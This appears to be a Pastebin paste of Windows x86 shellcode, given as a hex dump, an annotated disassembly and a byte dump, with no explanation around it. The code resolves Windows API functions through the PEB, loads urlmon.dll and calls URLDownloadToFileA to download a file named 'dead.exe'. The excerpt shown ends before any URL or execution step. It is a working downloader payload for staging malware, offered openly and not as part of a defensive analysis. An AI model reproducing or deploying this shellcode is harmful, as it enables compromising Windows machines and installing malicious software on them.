Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hex dump: 33 c9 64 8b 41 30 8b 40 0c 8b 70 14 ad 96 ad 8b 58 10 8b 53 3c 03 d3 8b 52 78 03 d3 8b 72 20 03 f3 33 c9 41 ad 03 c3 81 38 47 65 74 50 75 f4 81 78 04 72 6f 63 41 75 eb 81 78 08 64 64 72 65 75 e2 8b 72 24 03 f3 66 8b 0c 4e 49 8b 72 1c 03 f3 8b 14 8e 03 d3 33 c9 51 68 2e 65 78 65 68 64 65 61 64 53 52 51 68 61 72 79 41 68 4c 69 62 72 68 4c 6f 61 64 54 53 ff d2 83 c4 0c 59 50 51 66 b9 6c 6c 51 68 6f 6e 2e 64 68 75 72 6c 6d 54 ff d0 83 c4 10 8b 54 24 04 33 c9 51 66 b9 65 41 51 33 c9 68 6f 46 69 6c 68 6f 61 64 54 68 6f 77 6e 6c 68 55 52 4c 44 54 50 ff d2 33 c9 8d 54 24 24 51 51 52 eb 47 51 ff d0 83 c4 1c 33 c9 5a 00
- 0x00000000 33c9 xor ecx,ecx
- 0x00000002 648b4130 fs: mov eax,dword [ecx + 48]
- 0x00000006 8b400c mov eax,dword [eax + 12]
- 0x00000009 8b7014 mov esi,dword [eax + 20]
- 0x0000000c ad lodsd
- 0x0000000d 96 xchg eax,esi
- 0x0000000e ad lodsd
- 0x0000000f 8b5810 mov ebx,dword [eax + 16]
- 0x00000012 8b533c mov edx,dword [ebx + 60]
- 0x00000015 03d3 add edx,ebx
- 0x00000017 8b5278 mov edx,dword [edx + 120]
- 0x0000001a 03d3 add edx,ebx
- 0x0000001c 8b7220 mov esi,dword [edx + 32]
- 0x0000001f 03f3 add esi,ebx
- 0x00000021 33c9 xor ecx,ecx
- 0x00000023 41 inc ecx
- 0x00000024 ad lodsd
- 0x00000025 03c3 add eax,ebx
- 0x00000027 813847657450 cmp dword [eax],0x50746547
- 0x0000002d 75f4 jnz 0x00000023
- 0x0000002f 817804726f6341 cmp dword [eax + 4],0x41636f72
- 0x00000036 75eb jnz 0x00000023
- 0x00000038 81780864647265 cmp dword [eax + 8],0x65726464
- 0x0000003f 75e2 jnz 0x00000023
- 0x00000041 8b7224 mov esi,dword [edx + 36]
- 0x00000044 03f3 add esi,ebx
- 0x00000046 668b0c4e mov cx,word [esi + ecx * 2]
- 0x0000004a 49 dec ecx
- 0x0000004b 8b721c mov esi,dword [edx + 28]
- 0x0000004e 03f3 add esi,ebx
- 0x00000050 8b148e mov edx,dword [esi + ecx * 4]
- 0x00000053 03d3 add edx,ebx
- 0x00000055 33c9 xor ecx,ecx
- 0x00000057 51 push ecx
- 0x00000058 682e657865 push 0x6578652e--> 'exe.'
- 0x0000005d 6864656164 push 0x64616564--> 'daed'
- 0x00000062 53 push ebx
- 0x00000063 52 push edx
- 0x00000064 51 push ecx
- 0x00000065 6861727941 push 0x41797261--> 'Ayra'
- 0x0000006a 684c696272 push 0x7262694c--> 'rbiL'
- 0x0000006f 684c6f6164 push 0x64616f4c--> 'daoL'
- 0x00000074 54 push esp
- 0x00000075 53 push ebx
- 0x00000076 ffd2 call edx
- 0x00000078 83c40c add esp,12
- 0x0000007b 59 pop ecx
- 0x0000007c 50 push eax
- 0x0000007d 51 push ecx
- 0x0000007e 66b96c6c mov ecx,0x00006c6c--> 'll'
- 0x00000082 51 push ecx
- 0x00000083 686f6e2e64 push 0x642e6e6f--> 'd.no'
- 0x00000088 6875726c6d push 0x6d6c7275--> 'mlru'
- 0x0000008d 54 push esp
- 0x0000008e ffd0 call eax
- 0x00000090 83c410 add esp,16
- 0x00000093 8b542404 mov edx,dword [esp + 4]
- 0x00000097 33c9 xor ecx,ecx
- 0x00000099 51 push ecx
- 0x0000009a 66b96541 mov ecx,0x00004165--> 'Ae'
- 0x0000009e 51 push ecx
- 0x0000009f 33c9 xor ecx,ecx
- 0x000000a1 686f46696c push 0x6c69466f--> 'liFo'
- 0x000000a6 686f616454 push 0x5464616f--> 'Tdao'
- 0x000000ab 686f776e6c push 0x6c6e776f--> 'lnwo'
- 0x000000b0 6855524c44 push 0x444c5255--> 'DLRU'
- 0x000000b5 54 push esp
- 0x000000b6 50 push eax
- 0x000000b7 ffd2 call edx
- 0x000000b9 33c9 xor ecx,ecx
- 0x000000bb 8d542424 lea edx,dword [esp + 36]
- 0x000000bf 51 push ecx
- 0x000000c0 51 push ecx
- 0x000000c1 52 push edx
- 0x000000c2 eb47 jmp 0x0000010b
- 0x000000c4 51 push ecx
- 0x000000c5 ffd0 call eax
- 0x000000c7 83c41c add esp,28
- 0x000000ca 33c9 xor ecx,ecx
- 0x000000cc 5a pop edx
- Byte Dump:
- [email protected]<...Rx...r..3.A....8GetPu..x.rocAu..x.ddreu..r$..f.NI.r........3.Qh.exehdeadSRQharyAhLibrhLoadTS....YPQf.llQhon.dhurlmT......T$.3.Qf.eAQ3.hoFilhoadThownlhURLDTP..3..T$$QQR.GQ.....3.Z.
Add Comment
Please, Sign In to add comment